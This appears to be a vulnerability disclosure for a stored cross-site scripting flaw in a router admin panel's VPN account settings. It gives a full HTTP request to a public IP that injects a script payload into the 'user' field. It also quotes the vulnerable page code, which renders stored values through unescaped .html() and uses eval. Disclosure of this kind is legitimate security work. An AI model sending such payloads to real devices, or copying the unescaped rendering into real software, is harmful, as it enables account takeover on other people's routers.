XSS attacks are possible in the "Network - VPN Configuration - Account Settings" section of the administrator panel.
POST /ubus HTTP/1.1
Host: 125.186.175.246
Content-Length: 165
X-Requested-With: XMLHttpRequest
Accept-Language: ko-KR,ko;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Origin: [<http://125.186.175.246>](<http://125.186.175.246/>)
Referer: [<http://125.186.175.246/vpn.html>](<http://125.186.175.246/vpn.html>)
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"jsonrpc":"2.0","id":2,"method":"call","params":["0b7ad009780af8e5d256a8dbdce66b07","routerd","openvpn_set",{"type":3,"name":"aaaa","user":"<script>alert('XSS')</script>","passwd":"cccc"}]}


The vpn.html code receives the vpn server Id as input.
<form action="javascript:void(0);" id="vpn_user_frm" name="vpn_user_frm" method="post" onSubmit="return false"><!--form表单在此-->
<div class="form-group clearfix">
<label class="col-xs-6 col-sm-4 col-md-4 col-lg-5 f-label"></label>
<div class="col-xs-6 col-sm-8 col-md-8 col-lg-7 f-control">
<input type="text" id="vpn_server_name" name="vpn_server_name" class="form-control" value="" maxlength="32" />
</div>
</div>
<div class="form-group clearfix">
<label class="col-xs-6 col-sm-4 col-md-4 col-lg-5 f-label"></label>
<div class="col-xs-6 col-sm-8 col-md-8 col-lg-7 f-control">
<input type="text" id="vpn_server_id" name="vpn_server_id" class="form-control" value="" maxlength="32" />
</div>
</div>
<div class="form-group clearfix">
<label class="col-xs-6 col-sm-4 col-md-4 col-lg-5 f-label"></label>
<div class="col-xs-6 col-sm-8 col-md-8 col-lg-7 f-control">
<input type="text" id="vpn_server_pw" name="vpn_server_pw" class="form-control" value="" maxlength="15" />
</div>
</div>
</form>
It is then inserted into HTML in vpn.js, PublicPlugin/table.js without any escaping.
function vpn_list_show(){
var a1={"jsonrpc": "2.0", "id": 2, "method": "call", "params": [ localStorage.getItem('token_id'), "routerd", "openvpn_get", {"type": 3} ] }
a1=JSON.stringify(a1);
request({
url:"/ubus",
data:a1
}).done(function(data){
data=JSON.stringify(data);
data = eval("(" + data + ")");
if(check_data(data)){
var result = data.result[1].lists;
var id=1;
for(var i in result){
result[i].id=id++;
}
init_vpn_admin_tab(result);
console.log(result);
}
}).fail(function(data){
//show_request_err(data);
})
}
function init_vpn_admin_tab(data){
dataTable_new = [];
$.each(data, function(i,val) {
dataTable_new.push(data[i]);
});
//console.log(dataTable_new);
var new_data=dataChangeTo(dataTable_new);
var tab = new window.top.Table("vpn_table",appJs["table-title"],new_data);
tab.initTable();
}
Table.prototype.initTable = function(){
this.elem.html("");
this.isIE7();
this.initHead();
this.initBody();
this.initFooter();
}
Table.prototype.initBody = function(){
var _this = this;
var curTabFooter = this.elem.find(".TabBody");
if(curTabFooter.length > 0){
curTabFooter.remove();
}
this.$body = $("<tbody/>");
this.$body.addClass("TabBody");
var data = this.getData();
//暂无任何内容
var info = this.options.info ? this.options.info : window.top.L.item_null;
if(data.length == 0){
_this.$body.eq(0).html("<tr class=\\"no-data\\"><td class=\\"no-data\\" colspan=\\""+ this.head.length +"\\"><p>"+ info +"</p></td></tr>");
}
$.each(data,function(row,row_val){
var data_row = $("<tr/>");
if(row % 2 != 0){
data_row.addClass("evenrow");
}
var index = 0;
$.each(row_val,function(cell,cell_val){
var data_cell = $("<td/>");
if(_this.head)
data_cell.attr("data-th",_this.head[index]);
if(index == 0){
if(_this.options.auto_index == true)
data_cell.html((_this.options.index-1) * _this.options.size + (row + 1));
else
data_cell.html(cell_val);
}
else
data_cell.html(cell_val);
index++;
data_row.append(data_cell);
});
_this.$body.eq(0).append(data_row);
});
if(_this.ie7)
_this.IE7_fill(this.$body);
else
this.elem.append(this.$body);
}